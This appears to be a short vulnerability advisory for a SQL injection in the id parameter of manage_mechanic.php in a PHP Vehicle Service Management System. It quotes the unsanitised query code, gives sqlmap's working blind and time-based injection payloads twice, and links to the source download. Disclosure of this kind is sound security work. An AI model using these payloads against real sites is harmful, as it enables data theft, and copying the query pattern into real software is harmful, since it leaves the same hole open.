SQL injection vulnerability exists in id parameter of /admin/mechanics/manage_mechanic.php file of Vehicle Service Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/index.php and page parameter is 'mechanics/manage_mechanic',it will include /admin/mechanics/manage_mechanic.php,and id parameter can do sql injection.

```php
if(isset($_GET['id']) && $_GET['id'] > 0){
    $qry = $conn->query("SELECT * from `mechanics_list` where id = '{$_GET['id']}' ");
    if($qry->num_rows > 0){
        foreach($qry->fetch_assoc() as $k => $v){
            $$k=stripslashes($v);
        }
    }
```

```
sqlmap identified the following injection point(s) with a total of 423 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=mechanics/manage_mechanic&id=1' AND 3079=3079 AND 'Pdff'='Pdff

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=mechanics/manage_mechanic&id=1' AND (SELECT 4788 FROM (SELECT(SLEEP(5)))WCri)
 AND 'dKqm'='dKqm
---
```

"

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: page=mechanics/manage_mechanic&id=1' AND 3079=3079 AND 'Pdff'='Pdff

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=mechanics/manage_mechanic&id=1' AND (SELECT 4788 FROM (SELECT(SLEEP(5)))WCri) AND 'dKqm'='dKqm

---

"

Source Download：

https://www.campcodes.com/projects/php/vehicle-service-management-system-in-php-mysql-free-download-source-code/